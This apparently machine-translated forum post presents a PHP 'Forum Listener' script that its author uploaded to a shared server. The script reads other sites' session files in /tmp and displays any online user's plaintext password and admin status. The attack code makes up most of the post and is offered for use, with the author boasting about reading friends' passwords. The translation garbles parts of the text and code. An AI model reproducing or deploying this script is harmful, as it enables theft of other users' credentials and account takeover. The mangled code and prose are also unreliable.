session| function is able to write out this function, mainly on the site's session structure is clear, such as: name|s:4: "Tasm";p asswd|s:6: "111111"; mode|s:1: "1", also know where the session is stored , and can upload files, so, then did a small hacker, online friends password can be glance, hehe:
?
function Submit1 () {
Global $username;
Print "<title> Forum listener </title>";
$i = 0;
if ($username = = "Tasm" | | $username = = "Tasm")
{
Print "You're too dark, are you?" Even me, you check? ";
Return
}
$path = "/tmp/";
$d = Dir ($path);
while ($entry = $d->read ()) {
if (substr ($entry, 0,4) = = "Sess") {
$entry = $path. $entry;
$ary = @file ($entry);
if (!empty ($ary [0])) {
$ary = Explode (";", $ary [0]);
$name = Explode (":", $ary [0]);
if ($name [2]== "\" ". $username." \""){
$passwd = Explode (":", $ary [1]);
$mode =explode (":", $ary [3]);
Print "user pseudonym:". $name [2]. " <br> use Password: ". $passwd [2]." <br> use mode: ";
if ($mode [1]==1)
Print "<font color=red> admin </font>";
Else
Print "General user";
Print "<br><br> stealing someone else's password is immoral, please little for <br>";
$i = 1;
Break
}}}}
if (! $i)
Print "User:". $username. " Are you really online? If you are sure, <a href= ' Javascript:history.go ( -1) ' > Please come again </a>, do not play more space! ";
$d->close ();
}
function Login () {
?>
<title> Forum Listener </title>
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<body bgcolor= "#FFFFFF" >
<div align= "center" >
<p> Forum Listener </p>
<p> </p>
<table width= "border=" 0 "cellspacing=" 0 "cellpadding=" 0 ">
<tr>
<TD colspan= "2" > when you see a user online, you want to see his password, how do you do it? </td>
</tr>
<tr>
<TD colspan= "2" > Let me tell you this: just use this program. </td>
</tr>
<tr>
<TD colspan= "2" ><font color=red> solemnly affirm: This procedure is free procedure, by it caused any loss I cover is not responsible. </font>
<br> but this problem may soon be blocked, a bit or do not advertise the use of it. </td>
</tr>
</table>
<form name= "Form1" method= "Post" action= "<?print $PHP _self?>" >
<p> Please enter the username you want to search:<br>
<input type= "text" name= "username" >
</p>
<p>
<input type= "Submit" Name= "Submit1" value= "I agree with the above statement, start looking for" >
</p>
</form>
<p> </p>
</div>
</body>
?
}
--------------Main ()
if ($submit 1)
Submit1 ();
Else
Login ();
?>
Later, the network management to change/tmp ...
hoho~~~~
